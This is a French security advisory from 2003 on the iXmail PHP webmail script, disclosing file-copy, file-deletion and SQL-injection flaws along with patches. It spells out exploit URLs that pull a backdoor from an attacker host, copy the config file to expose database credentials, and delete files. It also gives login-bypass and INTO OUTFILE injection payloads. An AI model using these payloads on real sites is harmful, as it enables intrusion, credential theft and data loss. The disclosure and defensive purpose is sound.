iXmail ****** Informations : °°°°°°°°°°°°°° Langage : PHP Versions : 0.2 beta, 0.3 Website : http://www.a-suivre.net Problèmes : - Upload/copie de fichiers - Suppression de fichiers - Injection SQL Developpement : °°°°°°°°°°°°°°° iXmail est la continuation du script phpmailbox de netlogger. Il permet de gérer la receptions et l'envois d'e-mail depuis son propre site, avec un serveur pop3. Ce script permet d'envoyer des fichiers attachés. Un script qui permet une partie de cette opération est ixmail_attach.php. Il faut d'abord dire que, contrairement à la majorité des autres fichiers, ce fichier ne nécessite pas de se logger auparavant, on peut y accèder directement et anonymement. Dans ce fichier on peut voir le code suivant : --------------------------------------------------------------------------------------------- attach();"; } else { die("No input file specified"); } echo ""; } else { ?> --------------------------------------------------------------------------------------------- $attachmentdir est "/tmp". $attach1 est un input de type "file"... donc un fichier. PHP permet, en changeant légérement la variable fichier, de se procurer quelques informations. Par exemple $attach1_name est le nom du fichier $attach1, $attach1_type son type, $attach1_size sa taille,... Mais si la variable $attach1_size par exemple est définie par un utilisateur, elle prendra cette valeur donnée, et ne sera plus la taille du fichier $attach1. On voit les lignes : -------------------------------------------- $afilename = $attachmentdir . $attach1_name; copy("$attach1", $afilename) -------------------------------------------- On peut donc définir le chemin du fichier à copier, et sa destination ! Par exemple, avec l'url : http://[target]/ixmail_attach.php?submit=1&attach1=http://[attacker]/badcode.txt&attach1_name=backdoor.php copiera le fichier http://[attacker]/badcode.txt dans http://[target]/tmp/backdoor.php, et le code PHP qu'il contient sera executable. Un autre possibilité est par exemple : http://[target]/ixmail_attach.php?submit=1&attach1=include/ixmail_config.inc.php&attach1_name=config.txt Copiera le fichier http://[target]/include/ixmail_config.inc.php dans http://[target]/tmp/config.txt, ce qui permettera de lire les informations de la base de données. Une autre vulnérabilité touchant la gestion des fichiers se trouve dans le fichier ixmail_netattach.php : ------------------------------------------- ------------------------------------------- La fonction unlink() supprime le fichier donné en argument. L'url http://[target]/ixmail_netattach.php?file=ixmail_netattach.php supprimera le fichier ixmail_netattach.php. Enfin, dans index.php on peut voir la façon dont le script authentifie un utilisateur : ---------------------------------------------------------------------------------------- if(isset($username)) { mysql_connect($db_host, $db_username, $db_passwd); @mysql_select_db("$db_name") or die ("Unable to select database"); $query = "Select * from $db_authtable where $db_usernamefield = '$username' and $db_passwordfield = '$password'"; $res = mysql_query($query); if(mysql_num_rows($res) < 1) { die("Sorry, Invalid username/password!"); } else { $row = mysql_fetch_array($res); $uid = $row[$db_userid]; session_register(uid); } header("Location: ixmail_box.php"); exit(); } ---------------------------------------------------------------------------------------- On y voit la requête SQL suivante : ----------------------------------------------------------------------------------------------------- Select * from $db_authtable where $db_usernamefield = '$username' and $db_passwordfield = '$password' ----------------------------------------------------------------------------------------------------- Si il y a bien un résultat à cette requête, le script nous authentifie en tant qu'utilisateur. Ce qui suit ne peut fonctionner que si magic_quotes_gpc=OFF dans le php.ini. Il y a plusieurs façon d'exploiter cette requête grâce à l'injection SQL. Par exemple si on donne à la variable $username la valeur : ' OR 1=1#, la requête deviendra : -------------------------------------------------------------------------------------------- Select * from $db_authtable where $db_usernamefield = '' OR 1=1#' and $db_passwordfield = '' -------------------------------------------------------------------------------------------- Alors, comme 1=1 renvois toujours vrai et que ce qui se trouve après le caractère # est ignoré durant l'execution, on sera loggé avec le premier compte enregistré dans la table. On peut aussi, si on possède le chemin complet du site web, donner à $username ou à $password la valeur : ' OR 1=1 INTO OUTFILE '/complete/path/to/website/file.txt'# Ce qui enregistrera tout les champs de la table $db_authtable dans le fichier file.txt. Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info et sur le site officiel http://www.a-suivre.net. Dans ixmail_attach.php, ajouter, après le code : ------------------------- if(isset($submit) ) { ------------------------- le code suivant : -------------------------------------------------------------------------------------------------------------------------------------------------------- if ((isset($_REQUEST['attach1_name'])) OR (isset($_REQUEST['attach1_type'])) OR (file_exists($attach1)) OR ($attach1_type=='application/octet-stream')){ die("You're just allowed to upload files wich aren't applications."); } -------------------------------------------------------------------------------------------------------------------------------------------------------- La partie : ------------------------------------------------------------------------ (isset($_REQUEST['attach1_name'])) OR (isset($_REQUEST['attach1_type'])) ------------------------------------------------------------------------ empêche un utilisateur de définir lui même la variable attach1_name et la variable attach1_type. Et la partie : ---------------------------------------------------------------------- (file_exists($attach1)) OR ($attach1_type=='application/octet-stream') ---------------------------------------------------------------------- empêche de copier un fichier du serveur, ou d'uploader une application (comme un fichier php). Dans ixmail_netattach.php, remplacer : --------------------- if (isset($file)){ unlink($file); } --------------------- par : ---------------------------------------------- if (isset($file) AND !eregi('\.\.',$file)){ unlink("/attachments/".$file); } ---------------------------------------------- On empêche ainsi la suppression de fichiers se trouvant autre part que dans le dossier /attachments/. Enfin, dans index.php, ajouter après : ----------------------- if(isset($username)) { ----------------------- les lignes : ------------------------------------------ $username = addslashes($username); $password = addslashes($password); ------------------------------------------ Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Websites : http://www.frog-man.org/tutos/, http://www.phpsecure.info Date : 24/06/03